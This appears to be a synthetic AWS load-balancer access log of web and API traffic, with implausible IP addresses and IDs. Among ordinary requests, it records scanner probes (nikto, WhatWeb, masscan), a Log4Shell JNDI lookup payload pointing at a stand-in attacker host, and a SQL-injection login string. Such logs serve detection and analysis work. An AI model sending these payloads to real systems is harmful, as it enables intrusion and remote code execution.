prod-web-alb 185.181.125.99:21066 10.0.64.210:443 0.049264 0.496362 0.084167 404 404 205 13481 "POST /server-status HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d440-488f517bff2741cea7444177" "-" "-" 5 2024-11-01T02:02:24.597778Z "forward" "-" "-" "10.0.64.210:443" "404" "-" "-" -http 2024-11-01T02:02:26.516840Z staging-alb 255.156.191.200:61874 114.222.170.166:443 0.114490 0.173318 0.012616 200 200 703 2041 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d442-87ef5dbe050a45f3b40aa070" "staging-alb.example.com" "-" 5 2024-11-01T02:02:26.516840Z "forward" "-" "-" "114.222.170.166:443" "200" "-" "-" -http 2024-11-01T02:02:26.810356Z staging-alb 92.218.174.166:27137 249.44.114.116:80 0.027116 0.220232 0.010004 404 404 143 10887 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d442-bc963ee091ce46018ba23ec4" "staging-alb.example.com" "-" 0 2024-11-01T02:02:26.810356Z "forward" "-" "-" "249.44.114.116:80" "404" "-" "-" -https 2024-11-01T02:02:28.601199Z prod-api-alb 14.222.142.117:24359 10.0.160.96:443 0.003859 0.024876 0.060665 200 200 827 12465 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d444-f4a125a8c16f4ea287d86774" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:28.601199Z "forward" "-" "-" "10.0.160.96:443" "200" "-" "-" -https 2024-11-01T02:02:30.435363Z prod-api-alb 45.155.205.6:12888 10.0.36.24:443 0.027095 0.493804 0.052992 403 403 763 12157 "GET /administrator HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d446-04a4093826704d28b7a9fbd7" "-" "-" 1 2024-11-01T02:02:30.435363Z "forward" "-" "-" "10.0.36.24:443" "403" "-" "-" -https 2024-11-01T02:02:30.633586Z prod-web-alb 201.74.113.181:16021 10.0.211.78:443 0.094811 0.222437 0.049917 301 301 745 11426 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d446-3d61872cd54b458f8e5e63da" "prod-web-alb.example.com" "-" 5 2024-11-01T02:02:30.633586Z "forward" "-" "-" "10.0.211.78:443" "301" "-" "-" -https 2024-11-01T02:02:30.934699Z prod-api-alb 206.92.129.94:44631 10.0.90.155:443 0.086087 0.075496 0.048007 200 200 567 9482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d446-ac1e3ebd8cdd423ca818fc44" "prod-api-alb.example.com" "-" 4 2024-11-01T02:02:30.934699Z "forward" "-" "-" "10.0.90.155:443" "200" "-" "-" -https 2024-11-01T02:02:31.628464Z prod-web-alb 232.137.176.254:43822 10.0.46.51:443 0.054144 0.251106 0.071599 200 200 633 2316 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d447-62852c2f7cf44b9cb2550121" "prod-web-alb.example.com" "-" 6 2024-11-01T02:02:31.628464Z "forward" "-" "-" "10.0.46.51:443" "200" "-" "-" -https 2024-11-01T02:02:31.768125Z staging-alb 193.27.228.139:58694 164.90.22.182:8080 0.139239 0.072576 0.100901 403 403 47 13543 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d447-2db34e46cf7f45ae9166738e" "-" "-" 0 2024-11-01T02:02:31.768125Z "forward" "-" "-" "164.90.22.182:8080" "403" "-" "-" -https 2024-11-01T02:02:32.393412Z prod-api-alb 186.123.221.217:44840 10.0.251.153:443 0.005283 0.258741 0.022569 302 302 381 4738 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d448-19c9516ec8894286a464ee9b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:02:32.393412Z "forward" "-" "-" "10.0.251.153:443" "302" "-" "-" -http 2024-11-01T02:02:33.655848Z staging-alb 178.42.90.237:37318 136.41.47.15:443 0.035345 0.406066 0.037555 301 301 341 4372 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d449-c73a6035b8fd460990353cf7" "staging-alb.example.com" "-" 8 2024-11-01T02:02:33.655848Z "forward" "-" "-" "136.41.47.15:443" "301" "-" "-" -https 2024-11-01T02:02:35.047392Z prod-api-alb 148.162.92.40:49878 10.0.242.162:443 0.011991 0.240140 0.081507 200 200 81 13125 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d44b-e207a38e7fb44f80866ca2d1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:02:35.047392Z "forward" "-" "-" "10.0.242.162:443" "200" "-" "-" -https 2024-11-01T02:02:36.565124Z prod-api-alb 14.82.10.154:50450 10.0.30.16:443 0.042970 0.377064 0.028793 200 200 485 9549 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d44c-635a61c979474d1d9ac279ba" "prod-api-alb.example.com" "-" 9 2024-11-01T02:02:36.565124Z "forward" "-" "-" "10.0.30.16:443" "200" "-" "-" -https 2024-11-01T02:02:37.920982Z prod-web-alb 223.182.88.146:15643 10.0.204.34:443 0.036853 0.322882 0.002180 404 404 202 10862 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d44d-56879edd46ee4603aa4dd01e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:37.920982Z "forward" "-" "-" "10.0.204.34:443" "404" "-" "-" -https 2024-11-01T02:02:39.898121Z staging-alb 113.23.51.49:38687 135.99.162.1:8080 0.070774 0.571701 0.144015 200 200 315 11470 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d44f-3830310d24184312a36c7d08" "staging-alb.example.com" "-" 8 2024-11-01T02:02:39.898121Z "forward" "-" "-" "135.99.162.1:8080" "200" "-" "-" -https 2024-11-01T02:02:40.882248Z prod-web-alb 221.252.61.105:31011 10.0.203.64:443 0.024302 0.293196 0.083013 301 301 295 6972 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d450-76d56adf559f43cc83096c6d" "prod-web-alb.example.com" "-" 4 2024-11-01T02:02:40.882248Z "forward" "-" "-" "10.0.203.64:443" "301" "-" "-" -http 2024-11-01T02:02:42.100106Z staging-alb 168.131.250.233:61160 71.102.16.114:443 0.091414 0.376823 0.069752 302 302 678 6344 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d452-0fedbe5fdd684335b9dae1e2" "staging-alb.example.com" "-" 10 2024-11-01T02:02:42.100106Z "forward" "-" "-" "71.102.16.114:443" "302" "-" "-" -https 2024-11-01T02:02:43.860730Z prod-api-alb 109.120.72.86:14381 10.0.86.89:443 0.022502 0.380931 0.066572 200 200 705 6387 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d453-55e0f0918b004933a9ce58c4" "-" "-" 2 2024-11-01T02:02:43.860730Z "forward" "-" "-" "10.0.86.89:443" "200" "-" "-" -https 2024-11-01T02:02:43.978634Z prod-web-alb 56.24.165.238:62828 10.0.162.247:443 0.079633 0.164518 0.032784 301 301 717 4300 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d453-80b8a95344c745e59ff7c932" "prod-web-alb.example.com" "-" 8 2024-11-01T02:02:43.978634Z "forward" "-" "-" "10.0.162.247:443" "301" "-" "-" -https 2024-11-01T02:02:45.963581Z prod-api-alb 185.228.70.16:64221 10.0.50.191:443 0.089458 0.273987 0.044794 302 302 582 13764 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d455-cdca99200fae4deba170f477" "prod-api-alb.example.com" "-" 5 2024-11-01T02:02:45.963581Z "forward" "-" "-" "10.0.50.191:443" "302" "-" "-" -https 2024-11-01T02:02:47.809212Z prod-web-alb 64.28.130.118:64701 10.0.83.8:443 0.053663 0.258827 0.015287 200 200 867 13649 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d457-2edc384db1a046d9936ae87a" "-" "-" 2 2024-11-01T02:02:47.809212Z "forward" "-" "-" "10.0.83.8:443" "200" "-" "-" -https 2024-11-01T02:02:48.228260Z prod-api-alb 183.163.112.99:30593 10.0.85.5:443 0.087451 0.314990 0.012270 200 200 833 12657 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d458-a004f0d830654436a2e12c98" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:48.228260Z "forward" "-" "-" "10.0.85.5:443" "200" "-" "-" -https 2024-11-01T02:02:48.579049Z staging-alb 246.138.196.215:63252 124.201.167.24:80 0.054396 0.155668 0.102525 200 200 500 3643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d458-33da225e52bd4eef90efcef3" "staging-alb.example.com" "-" 6 2024-11-01T02:02:48.579049Z "forward" "-" "-" "124.201.167.24:80" "200" "-" "-" -http 2024-11-01T02:02:48.843222Z staging-alb 146.210.233.105:22820 255.224.35.198:80 0.041142 0.275672 0.010477 404 404 876 5958 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d458-348c84a1a4d242d7b7d7c9c8" "staging-alb.example.com" "-" 1 2024-11-01T02:02:48.843222Z "forward" "-" "-" "255.224.35.198:80" "404" "-" "-" -https 2024-11-01T02:02:49.831356Z prod-api-alb 128.33.179.219:20810 10.0.79.85:443 0.056379 0.277361 0.038475 301 301 598 3789 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d459-be910a9ed0d9448f96a58208" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:49.831356Z "forward" "-" "-" "10.0.79.85:443" "301" "-" "-" -https 2024-11-01T02:02:49.980981Z prod-web-alb 45.155.205.55:13132 10.0.166.156:443 0.048350 0.372687 0.038950 401 401 563 12707 "GET /config.php~ HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d459-b97281ff2aa34d6c8d84bd2d" "-" "-" 3 2024-11-01T02:02:49.980981Z "forward" "-" "-" "10.0.166.156:443" "401" "-" "-" -http 2024-11-01T02:02:51.550201Z staging-alb 202.40.61.224:60145 144.166.18.172:443 0.026458 0.495958 0.000430 302 302 861 2418 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d45b-c672327cdd1e421dba767813" "staging-alb.example.com" "-" 2 2024-11-01T02:02:51.550201Z "forward" "-" "-" "144.166.18.172:443" "302" "-" "-" -https 2024-11-01T02:02:52.962196Z prod-api-alb 87.235.249.17:36115 10.0.155.66:443 0.098139 0.075933 0.019188 200 200 41 1542 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d45c-8b617395dd4c4e8a934ba141" "prod-api-alb.example.com" "-" 3 2024-11-01T02:02:52.962196Z "forward" "-" "-" "10.0.155.66:443" "200" "-" "-" -https 2024-11-01T02:02:54.864407Z prod-api-alb 109.232.82.234:54712 10.0.14.92:443 0.023555 0.358457 0.074759 301 301 356 12961 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d45e-ac638b1521584749a4abbf77" "prod-api-alb.example.com" "-" 9 2024-11-01T02:02:54.864407Z "forward" "-" "-" "10.0.14.92:443" "301" "-" "-" -https 2024-11-01T02:02:55.477341Z prod-api-alb 133.246.121.52:58497 10.0.214.140:443 0.049047 0.466459 0.040064 200 200 653 2010 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d45f-5d82e9e628134d609f94ef2d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:55.477341Z "forward" "-" "-" "10.0.214.140:443" "200" "-" "-" -https 2024-11-01T02:02:55.608475Z prod-web-alb 9.98.33.23:21974 10.0.13.182:443 0.091435 0.147154 0.018012 200 200 837 12701 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d45f-6c4f19a04c74415fbdb61a69" "prod-web-alb.example.com" "-" 5 2024-11-01T02:02:55.608475Z "forward" "-" "-" "10.0.13.182:443" "200" "-" "-" -https 2024-11-01T02:02:57.087897Z prod-web-alb 42.55.25.214:57856 10.0.111.54:443 0.034764 0.490100 0.000116 200 200 773 7614 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d461-c57ea6ef1dba4d4397d76757" "prod-web-alb.example.com" "-" 7 2024-11-01T02:02:57.087897Z "forward" "-" "-" "10.0.111.54:443" "200" "-" "-" -http 2024-11-01T02:02:57.503033Z staging-alb 90.132.56.42:60330 0.236.43.237:443 0.071440 0.598416 0.031067 200 200 899 5903 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d461-85db5e2164fe4481b9b4ec00" "staging-alb.example.com" "-" 6 2024-11-01T02:02:57.503033Z "forward" "-" "-" "0.236.43.237:443" "200" "-" "-" -http 2024-11-01T02:02:58.555146Z staging-alb 105.35.114.33:34793 233.1.251.54:80 0.003149 0.409497 0.128298 200 200 971 4045 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d462-4ec7d1dcb3954351a8cfc34a" "staging-alb.example.com" "-" 0 2024-11-01T02:02:58.555146Z "forward" "-" "-" "233.1.251.54:80" "200" "-" "-" -https 2024-11-01T02:03:00.389387Z prod-api-alb 80.236.199.0:22475 10.0.115.249:443 0.042771 0.028009 0.098972 200 200 127 1134 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d464-d827bd24efa74487929deb40" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:00.389387Z "forward" "-" "-" "10.0.115.249:443" "200" "-" "-" -https 2024-11-01T02:03:00.682004Z staging-alb 38.38.176.232:22994 22.2.216.140:8080 0.006069 0.499002 0.007678 302 302 640 13993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d464-f3fb8e8d015d4e118d0e9cba" "staging-alb.example.com" "-" 5 2024-11-01T02:03:00.682004Z "forward" "-" "-" "22.2.216.140:8080" "302" "-" "-" -https 2024-11-01T02:03:01.874255Z prod-web-alb 84.254.82.207:60681 10.0.135.159:443 0.022290 0.035940 0.095533 302 302 919 4452 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d465-c877f844cd3b4c66884c957d" "prod-web-alb.example.com" "-" 0 2024-11-01T02:03:01.874255Z "forward" "-" "-" "10.0.135.159:443" "302" "-" "-" -http 2024-11-01T02:03:03.214889Z staging-alb 193.27.228.135:25244 167.43.78.59:8080 0.070709 0.110407 0.136177 500 500 35 10739 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d467-1402e461c674453fa54a98b7" "-" "-" 4 2024-11-01T02:03:03.214889Z "forward" "-" "-" "167.43.78.59:8080" "500" "-" "-" -https 2024-11-01T02:03:03.494345Z prod-api-alb 163.236.19.126:39665 10.0.50.46:443 0.071808 0.304324 0.073326 200 200 31 8665 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d467-5a2ee850366e4e50a38eaf30" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:03.494345Z "forward" "-" "-" "10.0.50.46:443" "200" "-" "-" -https 2024-11-01T02:03:05.017325Z prod-api-alb 1.58.229.111:28468 10.0.179.245:443 0.020681 0.186982 0.019567 302 302 139 9863 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d469-b5a52b9031694e74828f8f4b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:03:05.017325Z "forward" "-" "-" "10.0.179.245:443" "302" "-" "-" -https 2024-11-01T02:03:06.236749Z prod-web-alb 51.169.35.227:60256 10.0.169.142:443 0.012535 0.163971 0.019114 200 200 691 6917 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d46a-a43658bf122146abb7801e35" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:06.236749Z "forward" "-" "-" "10.0.169.142:443" "200" "-" "-" -https 2024-11-01T02:03:07.496369Z prod-web-alb 151.166.87.241:20594 10.0.234.185:443 0.003048 0.382805 0.085169 301 301 970 6516 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d46b-2938504de5e942e0a41a418b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:03:07.496369Z "forward" "-" "-" "10.0.234.185:443" "301" "-" "-" -https 2024-11-01T02:03:08.998989Z prod-web-alb 106.14.169.247:22542 10.0.165.244:443 0.049894 0.346018 0.095177 200 200 587 6738 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d46c-1fb4dc0a5e9c46498e3e6948" "prod-web-alb.example.com" "-" 5 2024-11-01T02:03:08.998989Z "forward" "-" "-" "10.0.165.244:443" "200" "-" "-" -https 2024-11-01T02:03:09.994358Z staging-alb 14.205.51.203:30957 233.213.33.156:443 0.107048 0.185666 0.075557 200 200 48 405 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d46d-855e7b67d04048ac8131c15d" "staging-alb.example.com" "-" 3 2024-11-01T02:03:09.994358Z "forward" "-" "-" "233.213.33.156:443" "200" "-" "-" -https 2024-11-01T02:03:11.789879Z prod-api-alb 223.61.67.47:37023 10.0.41.58:443 0.016938 0.091892 0.043637 302 302 974 7811 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d46f-2c3cb8bf3d424e81891c6798" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:11.789879Z "forward" "-" "-" "10.0.41.58:443" "302" "-" "-" -https 2024-11-01T02:03:13.545186Z prod-api-alb 252.101.122.154:57217 10.0.211.56:443 0.051102 0.308343 0.058144 200 200 62 8656 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d471-e42907268f414e5da2cd86c4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:13.545186Z "forward" "-" "-" "10.0.211.56:443" "200" "-" "-" -https 2024-11-01T02:03:14.295912Z prod-web-alb 50.246.42.228:12374 10.0.127.240:443 0.021955 0.079405 0.051109 302 302 639 12966 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d472-c7780c4585e34e4aa2349e47" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:14.295912Z "forward" "-" "-" "10.0.127.240:443" "302" "-" "-" -https 2024-11-01T02:03:14.888132Z prod-web-alb 52.110.250.21:16215 10.0.171.237:443 0.000545 0.244454 0.036629 200 200 794 10777 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 